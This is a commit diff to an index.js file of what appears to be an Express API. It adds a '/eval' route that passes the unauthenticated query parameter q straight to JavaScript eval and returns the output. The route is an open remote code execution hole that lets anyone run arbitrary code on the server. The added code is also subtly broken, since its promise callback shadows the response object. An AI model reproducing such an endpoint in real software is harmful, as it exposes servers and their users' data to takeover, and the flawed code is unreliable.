Update index.js
Browse files
index.js
CHANGED
|
@@ -1027,6 +1027,40 @@ return res.json({message: "Success", code: 200, data:data})
|
|
| 1027 |
});
|
| 1028 |
}
|
| 1029 |
})
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1030 |
.get('/ytsearch', async (req, res) => {
|
| 1031 |
try {
|
| 1032 |
let q = req.query.q || req.query.query;
|
|
|
|
| 1027 |
});
|
| 1028 |
}
|
| 1029 |
})
|
| 1030 |
+
.get('/eval', async (req, res) => {
|
| 1031 |
+
const formatResponse = (response) => {
|
| 1032 |
+
try {
|
| 1033 |
+
return JSON.stringify(JSON.parse(response), null, 2);
|
| 1034 |
+
} catch {
|
| 1035 |
+
return util.format(response);
|
| 1036 |
+
}
|
| 1037 |
+
};
|
| 1038 |
+
let evalCmd = '';
|
| 1039 |
+
try {
|
| 1040 |
+
let q = req.query.q || req.query.query;
|
| 1041 |
+
if (!q) return res.json({ message: 'Input parameter q' });
|
| 1042 |
+
evalCmd = /await/i.test(q) ? eval('(async() => { ' + q + ' })()') : eval(q);
|
| 1043 |
+
} catch (e) {
|
| 1044 |
+
evalCmd = e;
|
| 1045 |
+
}
|
| 1046 |
+
new Promise((resolve, reject) => {
|
| 1047 |
+
try {
|
| 1048 |
+
resolve(evalCmd);
|
| 1049 |
+
} catch (err) {
|
| 1050 |
+
reject(err);
|
| 1051 |
+
}
|
| 1052 |
+
})
|
| 1053 |
+
?.then(res =>{
|
| 1054 |
+
let result = formatResponse(res)
|
| 1055 |
+
return res.json({message: "Success", code: 200, data: result});
|
| 1056 |
+
})
|
| 1057 |
+
?.catch(err => {
|
| 1058 |
+
return res.json({ message: "Internal Server Error",
|
| 1059 |
+
code: 500,
|
| 1060 |
+
message: formatResponse(err)
|
| 1061 |
+
});
|
| 1062 |
+
});
|
| 1063 |
+
})
|
| 1064 |
.get('/ytsearch', async (req, res) => {
|
| 1065 |
try {
|
| 1066 |
let q = req.query.q || req.query.query;
|